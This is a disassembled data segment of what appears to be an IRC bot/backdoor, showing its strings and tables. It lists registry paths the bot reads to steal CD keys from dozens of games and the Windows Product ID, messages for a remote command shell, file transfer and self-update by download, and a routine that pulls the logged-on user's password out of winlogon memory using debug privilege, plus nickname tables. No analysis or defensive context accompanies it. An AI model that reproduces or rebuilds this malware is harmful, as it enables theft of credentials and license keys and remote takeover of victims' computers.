		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 10h
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 10h
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 10h
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 10h
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 8
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 10h
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 10h
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 10h
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 10h
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 10h
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 8
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 10h
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 10h
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 10h
aCustomernumber	db 'CustomerNumber',0
		align 10h
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 10h
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 10h
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 10h
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: seg002:00438E4Co
aCdkey		db 'CDKey',0            ; DATA XREF: seg002:00438E48o
		align 10h
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: seg002:off_438E44o
		align 4
asc_43A058:				; DATA XREF: sub_415B31+E7o
					; sub_415B31+F2o
		unicode	0, <=>,0
dword_43A05C	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_415B31+2Bo
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_43A0D8	db  2Dh	; -		; DATA XREF: sub_415EA1+FDo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 4
dword_43A0FC	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: sub_415EA1+362o
					; seg000:00416399o
		dd 726F72h
unk_43A114	db  2Dh	; -		; DATA XREF: sub_415EA1+2FAo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 10h
unk_43A140	db  2Dh	; -		; DATA XREF: sub_415EA1+202o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_43A164	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: sub_415EA1+1CBo
		dd 74756Fh
dword_43A17C	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_415EA1+16Ao
		dd 169h
unk_43A194	db  2Dh	; -		; DATA XREF: sub_415EA1+127o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
unk_43A1B4	db  2Dh	; -		; DATA XREF: sub_415EA1+82o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_43A1D8	db  2Dh	; -		; DATA XREF: sub_415EA1+44o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 4
unk_43A1FC	db  2Dh	; -		; DATA XREF: seg000:00416412o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_43A228	db  2Dh	; -		; DATA XREF: seg000:0041630Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_43A248	db  2Dh	; -		; DATA XREF: seg000:004162EEo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: seg000:004162DAo
unk_43A278	db  2Dh	; -		; DATA XREF: seg000:004162C6o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_43A2A8	db  2Dh	; -		; DATA XREF: seg000:004168FEo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
		db  6Fh	; o
		db 70h,	65h, 6Eh
		db  65h	; e
		db 64h,	20h, 25h
		db  73h	; s
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
unk_43A444	db  2Dh	; -		; DATA XREF: seg000:004164F5o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_416A12:loc_416A55o
					; sub_4190F2+104o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_416A12:loc_416A4Fo
aDisk		db 'Disk',0             ; DATA XREF: sub_416A12:loc_416A49o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_416A12:loc_416A43o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_416A12:loc_416A3Do
		align 4
off_43A494	dd offset word_4D4152	; DATA XREF: sub_416A12:loc_416A37o
word_43A498	dw 3Fh			; DATA XREF: sub_416A12+1Fo
					; sub_41AC18:loc_41AD1Ar
		align 4
aFailed		db 'failed',0           ; DATA XREF: sub_416AA3:loc_416B7Bo
					; sub_416BBE+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_416AA3+6Bo
		align 4
unk_43A4AC	db  2Dh	; -		; DATA XREF: sub_416BBE+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_43A4E8	db  2Dh	; -		; DATA XREF: sub_416BBE+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
aA_1		db 'A:\',0              ; DATA XREF: sub_416C90:loc_416CD5o
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 10h
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_43A594	db  2Dh	; -		; DATA XREF: sub_416F7D:loc_4170F6o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_43A5C8	db  2Dh	; -		; DATA XREF: sub_416F7D:loc_4170C9o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_43A5F4	db  2Dh	; -		; DATA XREF: sub_416F7D:loc_4170C2o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 10h
unk_43A630	db  2Dh	; -		; DATA XREF: sub_416F7D+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
aUserdomain:				; DATA XREF: sub_416F7D+DCo
		unicode	0, <USERDOMAIN>,0
		align 4
aUsername:				; DATA XREF: sub_416F7D+CEo
		unicode	0, <USERNAME>,0
		align 4
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F7D+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F7D+8Do
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F7D+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F7D+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F7D+68o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_416F7D+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F7D+40o
					; sub_416F7D+161o ...
		align 4
unk_43A768	db  2Dh	; -		; DATA XREF: sub_416F7D+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_41714F+13Eo
		align 10h
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_41714F+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_41714F+AFo
		align 8
dword_43A7B8	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4175A9+70o
					; sub_417640+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_43A808	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417640+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h, 0
off_43A860	dd offset aQ		; DATA XREF: sub_417B38+5Cr
					; "q"
		dd offset dword_43B408
		dd offset aE		; "e"
		dd offset aR		; "r"
		dd offset aT		; "t"
		dd offset dword_43B404
		dd offset aU		; "u"
		dd offset aI		; "i"
		dd offset aP		; "p"
		dd offset aA		; "a"
		dd offset aS_1		; "s"
		dd offset aD		; "d"
		dd offset aF		; "f"
		dd offset dword_43B400
		dd offset dword_43B3FC
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_43B3F8
		dd offset dword_43B3F4
		dd offset dword_43B3F0
		dd offset aC		; "c"
		dd offset aV		; "v"
		dd offset dword_43B3EC
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_43B3E8
		dd offset dword_43B3E4
		dd offset dword_43B3E0
		dd offset dword_43B3DC
		dd offset dword_43B3D8
		dd offset word_43B3D4
		dd offset dword_43B3D0
		dd offset aI_0		; "I"
		dd offset dword_43B3CC
		dd offset dword_43B3C8
		dd offset aA_0		; "A"
		dd offset dword_43B3C4
		dd offset dword_43B3C0
		dd offset dword_43B3BC
		dd offset dword_43B3B8
		dd offset dword_43B3B4
		dd offset dword_43B3B0
		dd offset dword_43B3AC
		dd offset dword_43B3A8
		dd offset dword_43B3A4
		dd offset dword_43B3A0
		dd offset dword_43B39C
		dd offset dword_43B398
		dd offset dword_43B394
		dd offset word_43B390
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_43B128
		dd offset off_43B124
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_43AF90
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_43AB60	dd offset aSex		; DATA XREF: sub_417B38+41r
					; sub_417B38+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck		; "|suck|"
		dd offset aLuck		; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex_0	; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuvuF	; "||luvu-f|"
		dd offset aWiked	; "|wiked|"
		dd offset aSick		; "sick}}"
		dd offset aQ8		; "Q8"
		dd offset aQ8A		; "|q8|a"
		dd offset dword_43B3EC
		dd offset aC		; "c"
		dd offset aD		; "d"
		dd offset aE		; "e"
		dd offset aF		; "f"
		dd offset dword_43B400
		dd offset dword_43B3FC
		dd offset aI		; "i"
		dd offset dword_42CBB0
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_43B3F8
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_43B408
		dd offset dword_43B3F0
		dd offset dword_43B404
		dd offset dword_43B3F4
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset dword_43B3F4
		dd offset dword_43B400
		dd offset aS_1		; "s"
		dd offset aQ		; "q"
		dd offset off_43ADB0
		dd offset aBbl		; "|bbl"
		dd offset dword_43FDB4
		dd offset dword_43FDB4
		dd offset a___0		; "_|_"
		dd offset dword_43FDB4
		dd offset dword_43FDB4
		dd offset dword_43FDB4
		dd offset dword_43FDB4
		dd offset dword_43B3BC
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_0		; "^^^f^"
		dd offset dword_43B3EC
		dd offset dword_43FDB4
		dd offset aSleeping	; "Sleeping"
		dd offset dword_43FDB4
		dd offset dword_43FDB4
		dd offset aFuck_0	; "Fuck"
		dd offset aFree		; "Free"
		dd offset dword_43FDB4
		dd offset dword_43FDB4
		dd offset dword_43B3A0
		dd offset dword_43FDB4
		dd offset aBoy		; "BOY"
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_43AD30
		dd offset dword_43AD2C
		dd offset dword_43AD24
		dd offset dword_43AD18
		dd offset dword_43AD10
		dd offset dword_43AD08
		dd offset dword_43AD00
		dd offset dword_43ACFC
		dd offset dword_43ACF8
dword_43ACF8	dd 7536h		; DATA XREF: seg002:0043ACF4o
dword_43ACFC	dd 7535h		; DATA XREF: seg002:0043ACF0o
dword_43AD00	dd 7C75347Ch, 0		; DATA XREF: seg002:0043ACECo
dword_43AD08	dd 6F79347Bh, 7D75h	; DATA XREF: seg002:0043ACE8o
dword_43AD10	dd 7375347Ch, 7Ch	; DATA XREF: seg002:0043ACE4o
dword_43AD18	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: seg002:0043ACE0o
dword_43AD24	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: seg002:0043ACDCo
dword_43AD2C	dd 6C6F6Ch		; DATA XREF: seg002:0043ACD8o
dword_43AD30	dd 746F74h		; DATA XREF: seg002:0043ACD4o
aMofo		db 'mofo',0             ; DATA XREF: seg002:0043ACD0o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: seg002:0043ACCCo
		align 4
aMuha		db 'muha',0             ; DATA XREF: seg002:0043ACC8o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: seg002:0043ACC4o
		align 4
aAha		db 'aha',0              ; DATA XREF: seg002:0043ACC0o
aShit		db 'shit',0             ; DATA XREF: seg002:0043ACBCo
		align 10h
aGurl		db 'gurl',0             ; DATA XREF: seg002:0043ACB8o
		align 4
aGirl_0		db 'GIRL',0             ; DATA XREF: seg002:0043ACB4o
		align 10h
aBoy		db 'BOY',0              ; DATA XREF: seg002:0043ACB0o
aFree		db 'Free',0             ; DATA XREF: seg002:0043AC9Co
		align 4
aFuck_0		db 'Fuck',0             ; DATA XREF: seg002:0043AC98o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: seg002:0043AC8Co
		align 10h
aF_0		db '^^^f^',0            ; DATA XREF: seg002:0043AC80o
		align 4
aSad		db 'Sad',0              ; DATA XREF: seg002:0043AC7Co
